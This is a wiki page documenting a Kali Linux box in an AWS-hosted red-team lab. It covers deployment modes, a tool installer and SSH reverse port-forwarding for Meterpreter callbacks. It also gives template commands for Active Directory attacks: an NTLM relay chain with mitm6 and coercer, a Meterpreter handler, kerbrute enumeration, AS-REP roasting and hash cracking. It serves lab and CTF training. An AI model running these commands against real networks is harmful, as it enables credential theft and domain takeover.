Skip to content

14. Kali

BaddKharma edited this page May 8, 2026 · 58 revisions

🐉 Kali

Home > Kali

A dedicated Linux box for the AD enumeration, attack, and tunneling work that doesn't fit cleanly on the Windows operator. Lives in the Teamserver VPC, reachable through Guacamole (SSH always; XRDP when in GUI mode).

On this page: AMI subscription · headless vs GUI mode selection · admin user rename · post-deploy GUI conversion · the 21-package install-kali-tools script · SSH port-forwarding for Meterpreter callbacks · common AD attack workflows · troubleshooting.

At a glance
Hostname kali (private VPC only)
SSH user admin (renamed from AMI default kali)
Default mode headless (t3.medium, 30 GB)
GUI mode gui (t3.large, 50 GB, XFCE + XRDP)
Post-deploy GUI conversion sudo kali-go-gui
Tool installer sudo install-kali-tools (21-package AD/enum lineup)
Marketplace EULA one-time per AWS account, see Step 0.5

Before You Deploy: AMI Subscription

The official Kali Linux AMIs are shared publicly on AWS Marketplace at no charge, but AWS requires a one-time EULA acceptance per account before any instance can launch from the AMI. Skip this and your first terraform apply fails with OptInRequired.

  1. Sign in to the AWS account you'll deploy redStack into.
  2. Visit https://aws.amazon.com/marketplace/pp/prodview-fznsw3f7mq7to.
  3. Click Continue to Subscribe, then Accept Terms.

This is documented in the main README's Part 0: Pre-Deployment Checklist as Step 0.5. The acceptance is permanent for the life of the AWS account.

AWS Marketplace Kali Linux AMI subscription page


Deployment Modes

Two modes, selected at deploy time via kali_deployment_mode in terraform.tfvars:

Mode Instance Disk Access Use case
headless (default) t3.medium 30 GB SSH only via Guacamole Most CTF / training sessions. Fastest boot.
gui t3.large 50 GB SSH + XRDP via Guacamole When you need a desktop browser, Burp, BloodHound CE GUI, or other graphical tools.

The mode picks the instance type and root disk size automatically. Override either with kali_instance_type and kali_volume_size in tfvars if you want something specific (for example, a larger box for hashcat work).

The Security Group always permits XRDP (3389) from the Guacamole SG regardless of mode. This means switching from headless to GUI later does not require Terraform changes; see Switching Headless → GUI Post-Deploy below.


First SSH Login

After terraform apply finishes, the connection details appear in the Terraform output as Section 7: KALI LINUX OPERATOR. Connect via Guacamole:

  1. Open the Guacamole portal (URL printed in the Terraform output).
  2. Sign in as guacadmin with the lab password.
  3. Open the Kali (SSH) connection.
  4. The MOTD banner is printed on every login showing current mode and the helper commands.

Kali MOTD banner showing redStack KALI WORKSTATION with current mode and helper commands

Note

The AMI ships with a kali user by default. redStack renames this user to admin during user-data so SSH usernames stay consistent across all Linux lab hosts (Mythic, Sliver, Havoc, Redirector, Guacamole, Kali). The rename runs as the first user-data action; wait for the MOTD banner before logging in to confirm it completed.


Curated Tool Lineup

The 21-tool AD/enum suite runs automatically during provisioning — tools are ready on first login. To refresh or re-install after a failed package:

sudo install-kali-tools

The script is idempotent and safe to re-run; it upgrades existing packages.

What's in the lineup

Twenty-one packages, weighted toward Active Directory enumeration and attack. metasploit-framework is intentionally not in the list; exploitation flows through the C2 servers in this lab. Web app testing tools beyond gobuster (Burp, sqlmap, nikto) are similarly left out so you can install them on demand when needed.

Bucket Tools Purpose
Network enumeration nmap, enum4linux-ng, smbmap, mitm6 Port scans, SMB discovery, IPv6 DNS poisoning for relay
AD enumeration pre2k, ldap-utils, windapsearch, adidnsdump Pre-Win2k accounts, LDAP queries, AD DNS dumps
Wordlists / web seclists, gobuster Wordlist library, directory/DNS/vhost brute-forcing
AD attack coercer, impacket-scripts, netexec, evil-winrm, bloodhound.py, kerbrute, certipy-ad Coercion, AD RPC abuse, auth spray, WinRM, BloodHound ingestion, Kerberos pre-auth, ADCS abuse
Credentials / relay responder, hashcat, john LLMNR/NTLM relay, GPU/CPU hash cracking
Meta pipx PEP 668-compliant Python tool installer for things outside the lineup

If you need something not in the list (BloodHound CE GUI on the box, sqlmap, wireshark, ligolo-ng, chisel, etc.), apt install it directly. The lineup is meant to be a productive baseline, not exhaustive.

which output confirming nmap, netexec, impacket-secretsdump, certipy-ad, and bloodhound-python are in PATH

Tip

If a package fails on first boot (rolling release timing), re-run sudo install-kali-tools — the script skips already-installed packages and retries only the failures.


Switching Headless → GUI Post-Deploy

Started in headless mode and want a desktop later? No re-apply needed:

sudo kali-go-gui

The script installs kali-desktop-xfce and xrdp, configures the X session, and enables and starts xrdp.service. The conversion takes ~4 minutes. The Security Group already allows port 3389 from the Guacamole SG.

After the converter finishes, run this on the Guacamole host to register the XRDP connection:

sudo /opt/redstack/register-kali-rdp.sh

Then refresh the Guacamole home page — Kali (XRDP) will appear in the connection list. The MOTD banner updates after conversion to reflect GUI mode.

Kali XFCE desktop inside a Guacamole RDP session confirming GUI conversion


Port Forwarding for Callbacks

This is the most common reason operators reach for the redirector when working from Kali: getting reverse shells, Meterpreter sessions, or other non-HTTP callbacks back through the redirector's tun0 (OpenVPN) tunnel from a CTF target.

Two Operating Modes of the Redirector

The redirector runs in one of two modes depending on enable_vpn_tunnel in tfvars:

Mode tfvar Inbound surface Port forwarding policy
Tunneled Access enable_vpn_tunnel = true OpenVPN tun0 to a registered cyber range only Port forwarding is appropriate. Listeners on tun0 are isolated to the registered range.
Direct Access enable_vpn_tunnel = false 80/443 publicly via Apache Do not open additional callback ports. Use the C2 frameworks behind Apache.

In Direct Access, the AWS Security Group is the hard outer boundary: only 80 and 443 are reachable from the internet. Exposing a callback port to the public internet requires a deliberate SG edit, which is a conscious Terraform change. ssh -R alone cannot do it, so the SG provides a meaningful guardrail. The risk is an operator taking that deliberate step in the heat of an engagement and leaving an unauthenticated handler exposed for opportunists to find. Don't do that. Use Mythic, Sliver, or Havoc through the redirector; the URI prefix and header validation exist for exactly this reason.

The rest of this section assumes Tunneled Access mode. If you genuinely need a custom callback port in Direct Access (rare), see Direct Access escape hatch at the bottom.

Anatomy of the Tunnel

The redirector terminates the OpenVPN tunnel; the CTF target sees the redirector's tun0 IP as the source. To get a callback from the target to your handler on Kali, you need to publish a port on tun0 that forwards to Kali.

Three reasonable patterns:

  1. Run the handler on the redirector itself: Simplest. SSH to the redirector, run msfconsole, set LHOST=<tun0 ip>. Listener and ingress co-located, no tunnel required. Best for one-off engagements.
  2. Run the handler on Kali, expose it via ssh -R: Listener stays on Kali (where your project files live), but the inbound port is published on the redirector's tun0 interface. Best when you want session control on Kali and the handler integrates with other tooling there.
  3. Run the handler on Kali, expose it via iptables DNAT: Persistent forwarder. Not part of v0.3, deferred. Use pattern 2 instead.

Pattern: SSH Reverse Forward (Kali → Redirector)

The redirector's sshd is configured with GatewayPorts clientspecified, which means a remote forward bound to a non-localhost address is opt-in per command:

# From Kali. Listener on Kali :4444 receives traffic that arrives on
# redirector's tun0:4444. The * tells sshd to bind on tun0 (and any other
# interface), required because of GatewayPorts clientspecified.
ssh -R '*:4444:localhost:4444' admin@redirector

Then on Kali, in another tab, set up the listener:

msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set LHOST <redirector tun0 ip>; set LPORT 4444; exploit -j"

When generating the payload, use LHOST=<redirector tun0 ip>, not the Kali private IP. The target connects to the redirector's tun0 IP on 4444; sshd forwards that traffic to your listener on Kali.

To find the redirector's tun0 IP:

ssh admin@redirector "ip -4 -o addr show tun0 | awk '{print \$4}'"

Tunnel Hygiene

Operational discipline matters more here than architecture:

  • Run tunnels in screen: A bare ssh -R dies with your terminal. screen -dmS callback ssh -R '*:4444:localhost:4444' admin@redirector keeps it persistent and discoverable.
  • List active sessions before you start a new engagement: screen -ls on Kali; ss -tlnp on the redirector. Forgotten tunnels mean stale listeners answering for the wrong target.
  • Bind to a specific interface when possible: ssh -R 'tun0:4444:...' is safer than ssh -R '*:4444:...' because it won't accidentally bind on the redirector's public ENI. The SG would block public traffic anyway, but defense in depth.
  • Rotate ports per engagement: Don't reuse 4444 for every box. The next operator scanning the range will find it; so will the wrong target if your tunnel survives between sessions.
  • Tear down explicitly: ssh -O exit -R '*:4444:localhost:4444' admin@redirector from a control-master session, or kill the screen session: screen -S callback -X quit. Then verify with ss -tlnp that the listener is gone.

Direct Access Escape Hatch

If the redirector is in Direct Access and you genuinely need a non-HTTP callback (pause and reconsider first; Mythic, Sliver, or Havoc almost certainly cover the case better):

  1. Edit security_groups.tf to add an explicit ingress rule on the redirector SG: from_port = 4444, to_port = 4444, cidr_blocks = ["<target's known egress IP>/32"]. Never 0.0.0.0/0.
  2. terraform apply.
  3. Use the SSH reverse forward pattern as above.
  4. As soon as the engagement ends, remove the SG rule and terraform apply again. Do not leave the rule in place between sessions.
  5. Use staged payloads with cookies / UUID validation so a stray scanner can't land a session.
  6. Consider whether you should be doing this at all. Mythic on the redirector handles 99% of Direct Access callback workflows with proper authentication.

Important

Read the Two operating modes section below before opening any port. The guidance differs significantly between Tunneled Access (HTB / VulnLab / Proving Grounds via OpenVPN) and Direct Access. The wrong move in Direct Access exposes an unauthenticated handler to the internet.


Common Workflows

### BloodHound collection
# From Kali, against an AD domain target reachable through the lab
bloodhound-python -u <user> -p <password> -d <domain.local> -ns <dc-ip> -c All --zip
# Copy the .zip back to your local machine and load into BloodHound CE GUI there
scp <user>@kali:~/*.zip .

bloodhound.py is the ingestor; the visualization GUI runs on the operator's local laptop, not on the Kali box. Saves ~500 MB of disk and avoids needing a desktop session for what's a local viewing task.

Coerced auth + relay (AD)

# Tab 1: relay listener
sudo ntlmrelayx.py -t ldaps://<dc-ip> -smb2support --escalate-user <yourcontrolleduser>

# Tab 2: IPv6 DNS poisoning
sudo mitm6 -d <domain.local>

# Tab 3: coerce a target into authenticating
coercer coerce -u <user> -p <password> -t <victim-ip> -l <kali-ip>

The mitm6 + coercer + ntlmrelayx chain is one of the most common AD attack paths in modern training labs. All three are pre-installed by install-kali-tools.

Kerberos pre-auth attack

kerbrute userenum --dc <dc-ip> -d <domain.local> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
GetNPUsers.py <domain.local>/ -dc-ip <dc-ip> -usersfile valid_users.txt -no-pass -format hashcat -outputfile asreproasted.hash
hashcat -m 18200 asreproasted.hash /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt

Note

The examples below are reference patterns, not step-by-step labs. Your specific targets, credentials, and domain configuration will vary by platform (HTB, VulnLab, Proving Grounds, etc.). The intent is to show how these tools connect through the redStack network path, not to walk through a specific machine.

Traffic routing reminder: Kali sits in the Teamserver VPC. In Tunneled Access (OpenVPN enabled), traffic to the configured external CIDRs routes automatically through the Guacamole ENI and out the redirector's tun0. Tools like nmap, netexec, and impacket work against those targets with no special configuration. For non-HTTP callback paths (e.g. Meterpreter), see the Port Forwarding section above to understand when ssh -R is needed.


Troubleshooting

install-kali-tools reports failed packages

A handful of Kali packages occasionally fail because of upstream rolling releases. The script does not abort on per-package failures, it reports the failed list and exits with a non-zero status so automation can detect it. Re-run the script after a few hours; a stuck package usually clears with the next mirror sync.

sudo install-kali-tools 2>&1 | tee /tmp/install.log
# If specific packages still fail, investigate:
apt-cache policy <package-name>

MOTD banner shows wrong mode

The banner reads kali_deployment_mode from the time of provisioning. If you ran kali-go-gui to convert post-deploy, the converter rewrites the banner. If it didn't, edit /etc/update-motd.d/99-kali-mode directly, change Mode: HEADLESS to Mode: GUI.

Can't SSH as kali

Expected. The user-data script renames kali to admin so all Linux lab hosts share the same SSH user. Use ssh admin@kali (from another lab host) or the Guacamole Kali (SSH) connection.

XRDP connection in Guacamole shows "connection refused" after running kali-go-gui

xrdp.service may not have come up cleanly. From an SSH session:

sudo systemctl status xrdp
sudo systemctl restart xrdp
sudo ss -tlnp | grep 3389

If port 3389 is not bound, check /var/log/xrdp.log and /var/log/xrdp-sesman.log.

ssh -R reports Failed to bind on the redirector

GatewayPorts clientspecified requires the explicit bind address syntax: ssh -R '*:4444:localhost:4444' or ssh -R 'tun0:4444:localhost:4444'. Plain ssh -R 4444:localhost:4444 will silently bind to localhost only and fail to receive external traffic.


← Previous: Windows | Next: Guacamole →


“Try Harder.”

Offensive Security / Mati Aharoni (PWK, ~2008)

Clone this wiki locally